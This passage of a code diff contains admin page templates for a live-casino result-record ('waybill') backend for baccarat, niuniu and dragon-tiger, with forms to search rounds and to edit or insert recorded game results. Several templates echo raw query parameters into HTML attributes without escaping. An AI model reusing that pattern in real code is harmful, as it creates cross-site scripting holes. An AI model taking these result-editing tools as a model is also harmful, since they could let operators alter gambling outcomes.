var result = ajax('/waybill/get_number',{game_id:game_id,table_id:table_id,'boot_id':boot_id,startDate:startDate,endDate:endDate});
if(result.code == 1){
var str = "";
for(var i = 0; i < result.data.length; i++){
str += '<option class="number" value="'+result.data[i].id+'">'+result.data[i].number+'</option>';
}
// 显示
$('#search_number_id').append(str);
}
});
});
/**
* 删除百家乐路单
*/
function deleteWaybill(id){
layer.confirm('确定删除吗?',function(){
// 数据验证
if(id <= 0){
layer.msg('注单出错!');
}
var query = new Object;
query.number_tab_id = id;
// 发送数据给后台处理
$.ajax({
url:'/waybill/delete_baccarat',
data:query,
dataType:"json",
type:"POST",
success:function(data){
if(data.code == 1){
layer.msg(data.msg,{time:1000},function(){
window.location.reload();
});
}else{
layer.msg(data.msg);
}
}
})
});
}
/**
* ajax 封装
*/
function ajax(url,query)
{
var returnData = "";
$.ajax({
url:url,
data:query,
dataType:"json",
type:"POST",
async:false,
success:function(data){
returnData = data;
}
});
return returnData;
}
</script>
<script type="text/javascript">
//搜索
function changesearch(){
var startDate = $('#start').val();
var endDate = $('#end').val();
var search_boot_id = $('#search_boot_id').val();
var search_number_id = $('#search_number_id').val();
var search_table_id = $('#search_table_id').val();
window.location.href="/waybill/baccarat?startDate="+startDate+"&endDate="+endDate+"&search_boot_id="+search_boot_id+"&search_number_id="+search_number_id+"&search_table_id="+search_table_id;
}
//导出excel
function downloadExcel(){
msgConfirm("您确定要将导出Excel表吗?",function(){
window.open("<?php if($query){ echo '?'.$query.'&downloadExcel=1'; }else{ echo '?downloadExcel=1'; } ?>");
})
}
</script>
</body>
</html>
+484
View File
@@ -0,0 +1,484 @@
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
<meta name="renderer" content="webkit">
<title>牛牛路单修改</title>
<link rel="stylesheet" href="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/css/pintuer.css">
<link rel="stylesheet" href="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/css/admin.css">
<link rel="stylesheet" href="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/css/sweet-alert.css">
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/js/jquery.js"></script>
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/js/pintuer.js"></script>
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/js/functions.js"></script>
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/js/sweet-alert.min.js"></script>
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/laydate/laydate.js"></script>
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/layer/layer.js"></script>
<script type="text/javascript" src="{$Think.ADMIN_STATIC_DOMAIN}/static/admin/lib/layui/layui.js" charset="utf-8"></script>
<style>
.main-box{ width:100%; box-sizing:border-box; border: solid 1px #ddd; border-radius: 4px; -moz-box-sizing:border-box; /* Firefox */ -webkit-box-sizing:border-box; /* Safari */ }
.select-box{width:180px; padding:6px 10px; border:1px solid #ddd; border-radius:3px; margin-right:0px;margin-right:10px;}
</style>
</head>
<body style="margin:20px;">
<div class="admin-panel main-box">
<div class="panel-head"><strong class="icon-reorder"> 搜索查询</strong></div>
<div class="padding border-bottom">
<ul class="search" style="padding-left:10px;">
<li>
<dl class="search-dl">
<dd>开始时间:</dd>
<dd>
<input class="select-box" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
</dd>
<dd>结束时间:</dd>
<dd>
<input class="select-box" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
</dd>
<dd style="margin-right:20px;">
<select id="search_table_id" name="search_table_id" class="select-box">
<option value="0">请选择桌子</option>
{volist name="$table_list" id="vo"}
<option value="{$vo.id}" <?php if(isset($get['search_table_id']) && $get['search_table_id'] == $vo['id']){echo 'selected="selected"';} ?>>{$vo.table_name}</option>
{/volist}
</select>
</dd>
<!--
<dd>靴号: &nbsp;</dd>
<dd style="margin-right:10px;">
<select id="search_boot_id" name="search_boot_id" class="select-box">
<option value="-1">请选择靴</option>
</select>
</dd>
-->
<!--
<dd>铺号: &nbsp;</dd>
<dd style="margin-right:20px;">
<select id="search_number_id" name="search_number_id" class="select-box">
<option value="-1">请选择铺</option>
</select>
<a href="javascript:void(0)" class="button border-main icon-file-excel-o" onclick="downloadExcel()" >&nbsp;&nbsp;&nbsp;&nbsp;导出当前数据</a>
</dd>
-->
<a href="javascript:void(0)" class="button border-main icon-search" onclick="changesearch()" > 查询</a>
</dl>
</li>
</ul>
</div>
<!--<div class="padding border-bottom" style="padding:10px;">-->
<!--<a href="/waybill/add_dt" class="button border-main icon-file-excel-o">&nbsp;&nbsp;&nbsp;&nbsp;新增路单</a>-->
<!--</div>-->
<table class="table table-hover text-center">
<tr>
<th>游戏名称</th>
<th>桌子名称</th>
<th>靴号</th>
<th>铺号</th>
<th>结果</th>
<th>提交时间</th>
<th>操作</th>
</tr>
{volist name="$number_tab_list" id="vo"}
<tr class="vlist">
<td>{$vo.game_name}</td>
<td>{$vo.table_name}</td>
<td>{$vo.boot_num}</td>
<td>{$vo.number}</td>
<td>{$vo.result}</td>
<td>{$vo.start_time}</td>
<td>
<div class="button-group">
<a class="button border-main" href="javascript:;"
data-game_name="{$vo.game_name}"
data-table_name="{$vo.table_name}"
data-boot_num="{$vo.boot_num}"
data-number="{$vo.number}"
data-result="{$vo.result}"
data-start_time="{$vo.start_time}"
data-game_id="{$vo.game_id}"
data-table_id="{$vo.table_id}"
data-boot_id="{$vo.boot_id}"
data-number_tab_id="{$vo.id}"
onclick="alertEidt(this)">修改</a>
<a class="button border-main" href="javascript:;"
data-game_name="{$vo.game_name}"
data-table_name="{$vo.table_name}"
data-boot_num="{$vo.boot_num}"
data-number="{$vo.number}"
data-game_id="{$vo.game_id}"
data-table_id="{$vo.table_id}"
data-boot_id="{$vo.boot_id}"
data-number_tab_id="{$vo.id}"
onclick="alertAdd(this)">在该铺后增加一口路单</a>
<!--<a class="button border-main" href="javascript:void(0)" onclick = "deleteDt('{$vo.id}')" >删除</a>-->
</div>
</td>
</tr>
{/volist}
<tr>
<td colspan="99" style="border-left:none;"><div colspan="99" style="text-align:center;">{$number_tab_list->render()}</div></td>
</tr>
</table>
</div>
<input type="hidden" value="<?php if(isset($get['search_table_id'])) {echo $get['search_table_id'];} ?>" id="table_id">
<input type="hidden" value="<?php if(isset($get['search_boot_id'])) {echo $get['search_boot_id'];} ?>" id="boot_id">
<input type="hidden" value="<?php if(isset($get['search_number_id'])) {echo $get['search_number_id'];} ?>" id="number_id">
<div class="update-ludan" id="update_ludan" style="display:none;">
<div class="update-ludan-title">修改结果</div>
<div class="update-ludan-msg">
开始时间:<span id="h_show_start_time"></span><br>
<span id="h_show_table_name"></span>-第<span id="h_show_boot_num"></span>靴-第<span id="h_show_number"></span>铺<br>
原结果:<span id="h_show_result"></span>&nbsp;<span id="h_show_pair"></span>&nbsp;<span id="h_show_win6"></span>
</div>
<div class="update-ludan-content">
请选择结果:
<select id="update_ludan_result">
<option value="">请选择</option>
<option value="1-1">庄-平倍</option>
<option value="1-2">庄-翻2倍</option>
<option value="1-3">庄-翻3倍</option>
<option value="1-4">庄-翻4倍</option>
<option value="1-5">庄-翻5倍</option>
<option value="2-1">闲-平倍</option>
<option value="2-2">闲-翻2倍</option>
<option value="2-3">闲-翻3倍</option>
<option value="2-4">闲-翻4倍</option>
<option value="2-5">闲-翻5倍</option>
</select>
</div>
<div class="update-ludan-footer">
<input type="hidden" id="h_game_id" value="">
<input type="hidden" id="h_table_id" value="">
<input type="hidden" id="h_boot_id" value="">
<input type="hidden" id="h_number_tab_id" value="">
<a id="confirm_update_ludan">确认</a>
<a id="cancel_update_ludan">取消</a>
</div>
</div>
<div class="update-ludan" id="add_ludan" style="display:none;">
<div class="update-ludan-title" style="color:#f00;">增加路单</div>
<div class="update-ludan-msg">
<div class="update-ludan-msg">
在 <span id="add_show_table_name"></span>-第<span id="add_show_boot_num"></span>靴-第<span id="add_show_number"></span>铺 后增加一个路单:
</div>
</div>
<div class="update-ludan-content">
请选择结果:
<select id="add_ludan_result">
<option value="">请选择</option>
<option value="1-1">庄-平倍</option>
<option value="1-2">庄-翻2倍</option>
<option value="1-3">庄-翻3倍</option>
<option value="1-4">庄-翻4倍</option>
<option value="1-5">庄-翻5倍</option>
<option value="2-1">闲-平倍</option>
<option value="2-2">闲-翻2倍</option>
<option value="2-3">闲-翻3倍</option>
<option value="2-4">闲-翻4倍</option>
<option value="2-5">闲-翻5倍</option>
</select>
</div>
<div class="update-ludan-footer">
<input type="hidden" id="add_game_id" value="">
<input type="hidden" id="add_table_id" value="">
<input type="hidden" id="add_boot_id" value="">
<input type="hidden" id="add_number_tab_id" value="">
<a id="confirm_add_ludan">确认</a>
<a id="cancel_add_ludan">取消</a>
</div>
</div>
<script type="text/javascript">
// 时间选择器
layui.use('laydate', function () {
var laydate = layui.laydate;
// 开始时间
laydate.render({
elem: '#start',
type: 'datetime'
});
// 结束时间
laydate.render({
elem: '#end',
type: 'datetime'
});
});
function alertAdd(obj){
$('#add_ludan').show();
$('#add_game_id').val($(obj).attr("data-game_id"));
$('#add_table_id').val($(obj).attr("data-table_id"));
$('#add_boot_id').val($(obj).attr("data-boot_id"));
$('#add_number_tab_id').val($(obj).attr("data-number_tab_id"));
$('#add_show_table_name').html($(obj).attr("data-table_name"));
$('#add_show_boot_num').html($(obj).attr("data-boot_num"));
$('#add_show_number').html($(obj).attr("data-number"));
}
function alertEidt(obj){
$('#update_ludan').show();
$('#h_game_id').val($(obj).attr("data-game_id"));
$('#h_table_id').val($(obj).attr("data-table_id"));
$('#h_boot_id').val($(obj).attr("data-boot_id"));
$('#h_number_tab_id').val($(obj).attr("data-number_tab_id"));
$('#h_show_start_time').html($(obj).attr("data-start_time"));
$('#h_show_table_name').html($(obj).attr("data-table_name"));
$('#h_show_boot_num').html($(obj).attr("data-boot_num"));
$('#h_show_number').html($(obj).attr("data-number"));
$('#h_show_result').html($(obj).attr("data-result"));
}
$(function(){
$('#cancel_update_ludan').click(function (){
$('#update_ludan').hide();
})
$('#confirm_update_ludan').click(function (){
var query = new Object();
if($('#h_game_id').val() > 0 && $('#h_table_id').val() > 0 && $('#h_boot_id').val() > 0 && $('#h_number_tab_id').val() > 0){
query.game_id = $('#h_game_id').val();
query.table_id = $('#h_table_id').val();
query.boot_id = $('#h_boot_id').val();
query.number_tab_id = $('#h_number_tab_id').val();
var result = $('#update_ludan_result').val();
if(result == ''){
layer.msg('请选择结果然后再提交');
return false;
}
query.result = result;
// 发送数据给后台处理
$.ajax({
url:'/waybill/edit_number_tab',
data:query,
dataType:"json",
type:"POST",
async:false,
success:function(data){
if(data.code == 1){
layer.msg(data.msg,{time:1000},function(){
window.location.reload();
});
}else{
layer.msg(data.msg);
}
}
})
}else{
layer.msg('数据出错,不能修改,请稍后再试');
return false;
}
})
$('#cancel_add_ludan').click(function (){
$('#add_ludan').hide();
})
$('#confirm_add_ludan').click(function (){
var query = new Object();
if($('#add_game_id').val() > 0 && $('#add_table_id').val() > 0 && $('#add_boot_id').val() > 0 && $('#add_number_tab_id').val() > 0){
query.game_id = $('#add_game_id').val();
query.table_id = $('#add_table_id').val();
query.boot_id = $('#add_boot_id').val();
query.number_tab_id = $('#add_number_tab_id').val();
var result = $('#add_ludan_result').val();
if(result == ''){
layer.msg('请选择结果然后再提交');
return false;
}
query.result = result;
// 发送数据给后台处理
$.ajax({
url:'/waybill/add_number_tab',
data:query,
dataType:"json",
type:"POST",
async:false,
success:function(data){
if(data.code == 1){
layer.msg(data.msg,{time:1000},function(){
window.location.reload();
});
}else{
layer.msg(data.msg);
}
}
})
}else{
layer.msg('数据出错,不能修改,请稍后再试');
return false;
}
})
/* 查询之后保留查询条件 */
var table_id = $('#table_id').val();
var boot_id = $('#boot_id').val();
var number_id = $('#number_id').val();
var startDate = $('#start').val();
var endDate = $('#end').val();
var game_id = 3;
// 保留靴条件
if(table_id > 0){
// 清除上次遗留的靴数据
$('.boot').remove();
// 提交桌号给后台获取靴数据
var result = ajax('/waybill/dn_get_boot',{game_id:game_id,table_id:table_id,startDate:startDate,endDate:endDate});
if(result.code == 1){
var str = "";
for(var i = 0; i < result.data.length; i++){
if(boot_id == result.data[i].id){
str += '<option class="boot" value="'+result.data[i].id+'" selected="selected">'+result.data[i].boot_num+'</option>';
}else{
str += '<option class="boot" value="'+result.data[i].id+'">'+result.data[i].boot_num+'</option>';
}
}
// 显示
$('#search_boot_id').append(str);
}
}
// 保留铺条件
if(table_id > 0 && boot_id > 0){
// 清除上次遗留的铺数据
$('.number').remove();
// 提交桌号给后台获取靴数据
var result = ajax('/waybill/get_number',{game_id:game_id,table_id:table_id,'boot_id':boot_id,startDate:startDate,endDate:endDate});
if(result.code == 1){
var str = "";
for(var i = 0; i < result.data.length; i++){
if(number_id == result.data[i].id){
str += '<option class="number" value="'+result.data[i].id+'" selected="selected">'+result.data[i].number+'</option>';
}else{
str += '<option class="number" value="'+result.data[i].id+'">'+result.data[i].number+'</option>';
}
}
// 显示
$('#search_number_id').append(str);
}
}
/* 监听桌子onchange事件 */
$(document).on('change','#search_table_id',function(){
// 清除上次遗留的靴和铺数据
$('.boot').remove();
$('.number').remove();
// 获取参数
var startDate = $('#start').val();
var endDate = $('#end').val();
var game_id = 3;
var table_id = $(this).val();
if(table_id <= 0){
return false;
}
// 提交桌号给后台获取靴数据
var result = ajax('/waybill/dn_get_boot',{game_id:game_id,table_id:table_id,startDate:startDate,endDate:endDate});
if(result.code == 1){
var str = "";
for(var i = 0; i < result.data.length; i++){
str += '<option class="boot" value="'+result.data[i].id+'">'+result.data[i].boot_num+'</option>';
}
// 显示
$('#search_boot_id').append(str);
}
});
/* 监听靴onchange事件 */
$(document).on('change','#search_boot_id',function(){
// 获取参数
var startDate = $('#start').val();
var endDate = $('#end').val();
var game_id = 3;
var table_id = $('#search_table_id').val();
var boot_id = $(this).val();
if(table_id <= 0) return false;
if(boot_id <= 0) return false;
// 提交桌号给后台获取靴数据
var result = ajax('/waybill/get_number',{game_id:game_id,table_id:table_id,'boot_id':boot_id,startDate:startDate,endDate:endDate});
if(result.code == 1){
var str = "";
for(var i = 0; i < result.data.length; i++){
str += '<option class="number" value="'+result.data[i].id+'">'+result.data[i].number+'</option>';
}
// 显示
$('#search_number_id').append(str);
}
});
});
/**
* 删除百家乐路单
*/
function deleteDt(id){
layer.confirm('确定删除吗?',function(){
// 数据验证
if(id <= 0){
layer.msg('注单出错!');
}
var query = new Object;
query.number_tab_id = id;
// 发送数据给后台处理
$.ajax({
url:'/waybill/delete_dn',
data:query,
dataType:"json",
type:"POST",
success:function(data){
if(data.code == 1){
layer.msg(data.msg,{time:1000},function(){
window.location.reload();
});
}else{
layer.msg(data.msg);
}
}
})
});
}
/**
* ajax 封装
*/
function ajax(url,query)
{
var returnData = "";
$.ajax({
url:url,
data:query,
dataType:"json",
type:"POST",
async:false,
success:function(data){
returnData = data;
}
});
return returnData;
}
</script>
<script type="text/javascript">
//搜索
function changesearch(){
var startDate = $('#start').val();
var endDate = $('#end').val();
var search_boot_id = $('#search_boot_id').val();
var search_number_id = $('#search_number_id').val();
var search_table_id = $('#search_table_id').val();
window.location.href="/waybill/dn?startDate="+startDate+"&endDate="+endDate+"&search_boot_id="+search_boot_id+"&search_number_id="+search_number_id+"&search_table_id="+search_table_id;
}
//导出excel
function downloadExcel(){
msgConfirm("您确定要将导出Excel表吗?",function(){
window.open("<?php if($query){ echo '?'.$query.'&downloadExcel=1'; }else{ echo '?downloadExcel=1'; } ?>");
})
}
</script>
</body>
</html>
+467
View File
@@ -0,0 +1,467 @@
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
<meta name="renderer" content="webkit">
<title>龙虎路单修改</title>
<link rel="stylesheet" href="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/css/pintuer.css">
<link rel="stylesheet" href="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/css/admin.css">
<link rel="stylesheet" href="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/css/sweet-alert.css">
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/js/jquery.js"></script>
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/js/pintuer.js"></script>
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/js/functions.js"></script>
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/js/sweet-alert.min.js"></script>
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/laydate/laydate.js"></script>
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/layer/layer.js"></script>
<script type="text/javascript" src="{$Think.ADMIN_STATIC_DOMAIN}/static/admin/lib/layui/layui.js" charset="utf-8"></script>
<style>
.main-box{ width:100%; box-sizing:border-box; border: solid 1px #ddd; border-radius: 4px; -moz-box-sizing:border-box; /* Firefox */ -webkit-box-sizing:border-box; /* Safari */ }
.select-box{width:180px; padding:6px 10px; border:1px solid #ddd; border-radius:3px; margin-right:0px;margin-right:10px;}
</style>
</head>
<body style="margin:20px;">
<div class="admin-panel main-box">
<div class="panel-head"><strong class="icon-reorder"> 搜索查询</strong></div>
<div class="padding border-bottom">
<ul class="search" style="padding-left:10px;">
<li>
<dl class="search-dl">
<dd>开始时间:</dd>
<dd>
<input class="select-box" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
</dd>
<dd>结束时间:</dd>
<dd>
<input class="select-box" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
</dd>
<dd style="margin-right:20px;">
<select id="search_table_id" name="search_table_id" class="select-box">
<option value="0">请选择桌子</option>
{volist name="$table_list" id="vo"}
<option value="{$vo.id}" <?php if(isset($get['search_table_id']) && $get['search_table_id'] == $vo['id']){echo 'selected="selected"';} ?>>{$vo.table_name}</option>
{/volist}
</select>
</dd>
<!--
<dd>靴号: &nbsp;</dd>
<dd style="margin-right:10px;">
<select id="search_boot_id" name="search_boot_id" class="select-box">
<option value="-1">请选择靴</option>
</select>
</dd>
-->
<!--
<dd>铺号: &nbsp;</dd>
<dd style="margin-right:20px;">
<select id="search_number_id" name="search_number_id" class="select-box">
<option value="-1">请选择铺</option>
</select>
<a href="javascript:void(0)" class="button border-main icon-file-excel-o" onclick="downloadExcel()" >&nbsp;&nbsp;&nbsp;&nbsp;导出当前数据</a>
</dd>
-->
<a href="javascript:void(0)" class="button border-main icon-search" onclick="changesearch()" > 查询</a>
</dl>
</li>
</ul>
</div>
<table class="table table-hover text-center">
<tr>
<th>游戏名称</th>
<th>桌子名称</th>
<th>靴号</th>
<th>铺号</th>
<th>结果</th>
<th>提交时间</th>
<th>操作</th>
</tr>
{volist name="$number_tab_list" id="vo"}
<tr class="vlist">
<td>{$vo.game_name}</td>
<td>{$vo.table_name}</td>
<td>{$vo.boot_num}</td>
<td>{$vo.number}</td>
<td>{$vo.result}</td>
<td>{$vo.start_time}</td>
<td>
<div class="button-group">
<a class="button border-main" href="javascript:;"
data-game_name="{$vo.game_name}"
data-table_name="{$vo.table_name}"
data-boot_num="{$vo.boot_num}"
data-number="{$vo.number}"
data-result="{$vo.result}"
data-start_time="{$vo.start_time}"
data-game_id="{$vo.game_id}"
data-table_id="{$vo.table_id}"
data-boot_id="{$vo.boot_id}"
data-number_tab_id="{$vo.id}"
onclick="alertEidt(this)">修改</a>
<a class="button border-main" href="javascript:;"
data-game_name="{$vo.game_name}"
data-table_name="{$vo.table_name}"
data-boot_num="{$vo.boot_num}"
data-number="{$vo.number}"
data-game_id="{$vo.game_id}"
data-table_id="{$vo.table_id}"
data-boot_id="{$vo.boot_id}"
data-number_tab_id="{$vo.id}"
onclick="alertAdd(this)">在该铺后增加一口路单</a>
<!--<a class="button border-main" href="javascript:void(0)" onclick = "deleteDt('{$vo.id}')" >删除</a>-->
</div>
</td>
</tr>
{/volist}
<tr>
<td colspan="99" style="border-left:none;"><div colspan="99" style="text-align:center;">{$number_tab_list->render()}</div></td>
</tr>
</table>
</div>
<input type="hidden" value="<?php if(isset($get['search_table_id'])) {echo $get['search_table_id'];} ?>" id="table_id">
<input type="hidden" value="<?php if(isset($get['search_boot_id'])) {echo $get['search_boot_id'];} ?>" id="boot_id">
<input type="hidden" value="<?php if(isset($get['search_number_id'])) {echo $get['search_number_id'];} ?>" id="number_id">
<div class="update-ludan" id="update_ludan" style="display:none;">
<div class="update-ludan-title">修改结果</div>
<div class="update-ludan-msg">
开始时间:<span id="h_show_start_time"></span><br>
<span id="h_show_table_name"></span>-第<span id="h_show_boot_num"></span>靴-第<span id="h_show_number"></span>铺<br>
原结果:<span id="h_show_result"></span>&nbsp;<span id="h_show_pair"></span>&nbsp;<span id="h_show_win6"></span>
</div>
<div class="update-ludan-content">
请选择结果:
<select id="update_ludan_result">
<option value="">请选择</option>
<option value="1-0">龙</option>
<option value="2-0">虎</option>
<option value="3-0">和</option>
</select>
</div>
<div class="update-ludan-footer">
<input type="hidden" id="h_game_id" value="">
<input type="hidden" id="h_table_id" value="">
<input type="hidden" id="h_boot_id" value="">
<input type="hidden" id="h_number_tab_id" value="">
<a id="confirm_update_ludan">确认</a>
<a id="cancel_update_ludan">取消</a>
</div>
</div>
<div class="update-ludan" id="add_ludan" style="display:none;">
<div class="update-ludan-title" style="color:#f00;">增加路单</div>
<div class="update-ludan-msg">
在 <span id="add_show_table_name"></span>-第<span id="add_show_boot_num"></span>靴-第<span id="add_show_number"></span>铺 后增加一个路单:
</div>
<div class="update-ludan-content">
请选择结果:
<select id="add_ludan_result">
<option value="">请选择</option>
<option value="1-0">龙</option>
<option value="2-0">虎</option>
<option value="3-0">和</option>
</select>
</div>
<div class="update-ludan-footer">
<input type="hidden" id="add_game_id" value="">
<input type="hidden" id="add_table_id" value="">
<input type="hidden" id="add_boot_id" value="">
<input type="hidden" id="add_number_tab_id" value="">
<a id="confirm_add_ludan">确认</a>
<a id="cancel_add_ludan">取消</a>
</div>
</div>
<script type="text/javascript">
// 时间选择器
layui.use('laydate', function () {
var laydate = layui.laydate;
// 开始时间
laydate.render({
elem: '#start',
type: 'datetime'
});
// 结束时间
laydate.render({
elem: '#end',
type: 'datetime'
});
});
function alertAdd(obj){
$('#add_ludan').show();
$('#add_game_id').val($(obj).attr("data-game_id"));
$('#add_table_id').val($(obj).attr("data-table_id"));
$('#add_boot_id').val($(obj).attr("data-boot_id"));
$('#add_number_tab_id').val($(obj).attr("data-number_tab_id"));
$('#add_show_table_name').html($(obj).attr("data-table_name"));
$('#add_show_boot_num').html($(obj).attr("data-boot_num"));
$('#add_show_number').html($(obj).attr("data-number"));
}
function alertEidt(obj){
$('#update_ludan').show();
$('#h_game_id').val($(obj).attr("data-game_id"));
$('#h_table_id').val($(obj).attr("data-table_id"));
$('#h_boot_id').val($(obj).attr("data-boot_id"));
$('#h_number_tab_id').val($(obj).attr("data-number_tab_id"));
$('#h_show_start_time').html($(obj).attr("data-start_time"));
$('#h_show_table_name').html($(obj).attr("data-table_name"));
$('#h_show_boot_num').html($(obj).attr("data-boot_num"));
$('#h_show_number').html($(obj).attr("data-number"));
$('#h_show_result').html($(obj).attr("data-result"));
}
$(function(){
$('#cancel_update_ludan').click(function (){
$('#update_ludan').hide();
})
$('#confirm_update_ludan').click(function (){
var query = new Object();
if($('#h_game_id').val() > 0 && $('#h_table_id').val() > 0 && $('#h_boot_id').val() > 0 && $('#h_number_tab_id').val() > 0){
query.game_id = $('#h_game_id').val();
query.table_id = $('#h_table_id').val();
query.boot_id = $('#h_boot_id').val();
query.number_tab_id = $('#h_number_tab_id').val();
var result = $('#update_ludan_result').val();
if(result == ''){
layer.msg('请选择结果然后再提交');
return false;
}
query.result = result;
// 发送数据给后台处理
$.ajax({
url:'/waybill/edit_number_tab',
data:query,
dataType:"json",
type:"POST",
async:false,
success:function(data){
if(data.code == 1){
layer.msg(data.msg,{time:1000},function(){
window.location.reload();
});
}else{
layer.msg(data.msg);
}
}
})
}else{
layer.msg('数据出错,不能修改,请稍后再试');
return false;
}
})
$('#cancel_add_ludan').click(function (){
$('#add_ludan').hide();
})
$('#confirm_add_ludan').click(function (){
var query = new Object();
if($('#add_game_id').val() > 0 && $('#add_table_id').val() > 0 && $('#add_boot_id').val() > 0 && $('#add_number_tab_id').val() > 0){
query.game_id = $('#add_game_id').val();
query.table_id = $('#add_table_id').val();
query.boot_id = $('#add_boot_id').val();
query.number_tab_id = $('#add_number_tab_id').val();
var result = $('#add_ludan_result').val();
if(result == ''){
layer.msg('请选择结果然后再提交');
return false;
}
query.result = result;
// 发送数据给后台处理
$.ajax({
url:'/waybill/add_number_tab',
data:query,
dataType:"json",
type:"POST",
async:false,
success:function(data){
if(data.code == 1){
layer.msg(data.msg,{time:1000},function(){
window.location.reload();
});
}else{
layer.msg(data.msg);
}
}
})
}else{
layer.msg('数据出错,不能修改,请稍后再试');
return false;
}
})
/* 查询之后保留查询条件 */
var table_id = $('#table_id').val();
var boot_id = $('#boot_id').val();
var number_id = $('#number_id').val();
var startDate = $('#start').val();
var endDate = $('#end').val();
var game_id = 2;
// 保留靴条件
if(table_id > 0){
// 清除上次遗留的靴数据
$('.boot').remove();
// 提交桌号给后台获取靴数据
var result = ajax('/waybill/dt_get_boot',{game_id:game_id,table_id:table_id,startDate:startDate,endDate:endDate});
if(result.code == 1){
var str = "";
for(var i = 0; i < result.data.length; i++){
if(boot_id == result.data[i].id){
str += '<option class="boot" value="'+result.data[i].id+'" selected="selected">'+result.data[i].boot_num+'</option>';
}else{
str += '<option class="boot" value="'+result.data[i].id+'">'+result.data[i].boot_num+'</option>';
}
}
// 显示
$('#search_boot_id').append(str);
}
}
// 保留铺条件
if(table_id > 0 && boot_id > 0){
// 清除上次遗留的铺数据
$('.number').remove();
// 提交桌号给后台获取靴数据
var result = ajax('/waybill/get_number',{game_id:game_id,table_id:table_id,'boot_id':boot_id,startDate:startDate,endDate:endDate});
if(result.code == 1){
var str = "";
for(var i = 0; i < result.data.length; i++){
if(number_id == result.data[i].id){
str += '<option class="number" value="'+result.data[i].id+'" selected="selected">'+result.data[i].number+'</option>';
}else{
str += '<option class="number" value="'+result.data[i].id+'">'+result.data[i].number+'</option>';
}
}
// 显示
$('#search_number_id').append(str);
}
}
/* 监听桌子onchange事件 */
$(document).on('change','#search_table_id',function(){
// 清除上次遗留的靴和铺数据
$('.boot').remove();
$('.number').remove();
// 获取参数
var startDate = $('#start').val();
var endDate = $('#end').val();
var game_id = 2;
var table_id = $(this).val();
if(table_id <= 0){
return false;
}
// 提交桌号给后台获取靴数据
var result = ajax('/waybill/dt_get_boot',{game_id:game_id,table_id:table_id,startDate:startDate,endDate:endDate});
if(result.code == 1){
var str = "";
for(var i = 0; i < result.data.length; i++){
str += '<option class="boot" value="'+result.data[i].id+'">'+result.data[i].boot_num+'</option>';
}
// 显示
$('#search_boot_id').append(str);
}
});
/* 监听靴onchange事件 */
$(document).on('change','#search_boot_id',function(){
// 获取参数
var startDate = $('#start').val();
var endDate = $('#end').val();
var game_id = 2;
var table_id = $('#search_table_id').val();
var boot_id = $(this).val();
if(table_id <= 0) return false;
if(boot_id <= 0) return false;
// 提交桌号给后台获取靴数据
var result = ajax('/waybill/get_number',{game_id:game_id,table_id:table_id,'boot_id':boot_id,startDate:startDate,endDate:endDate});
if(result.code == 1){
var str = "";
for(var i = 0; i < result.data.length; i++){
str += '<option class="number" value="'+result.data[i].id+'">'+result.data[i].number+'</option>';
}
// 显示
$('#search_number_id').append(str);
}
});
});
/**
* 删除百家乐路单
*/
function deleteDt(id){
layer.confirm('确定删除吗?',function(){
// 数据验证
if(id <= 0){
layer.msg('注单出错!');
}
var query = new Object;
query.number_tab_id = id;
// 发送数据给后台处理
$.ajax({
url:'/waybill/delete_dt',
data:query,
dataType:"json",
type:"POST",
success:function(data){
if(data.code == 1){
layer.msg(data.msg,{time:1000},function(){
window.location.reload();
});
}else{
layer.msg(data.msg);
}
}
})
});
}
/**
* ajax 封装
*/
function ajax(url,query)
{
var returnData = "";
$.ajax({
url:url,
data:query,
dataType:"json",
type:"POST",
async:false,
success:function(data){
returnData = data;
}
});
return returnData;
}
</script>
<script type="text/javascript">
//搜索
function changesearch(){
var startDate = $('#start').val();
var endDate = $('#end').val();
var search_boot_id = $('#search_boot_id').val();
var search_number_id = $('#search_number_id').val();
var search_table_id = $('#search_table_id').val();
window.location.href="/waybill/dt?startDate="+startDate+"&endDate="+endDate+"&search_number_id="+search_number_id+"&search_table_id="+search_table_id;
}
//导出excel
function downloadExcel(){
msgConfirm("您确定要将导出Excel表吗?",function(){
window.open("<?php if($query){ echo '?'.$query.'&downloadExcel=1'; }else{ echo '?downloadExcel=1'; } ?>");
})
}
</script>
</body>
</html>
@@ -0,0 +1,394 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Document</title>
<link rel="stylesheet" type="text/css" href="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/css/waybill.css">
<style>
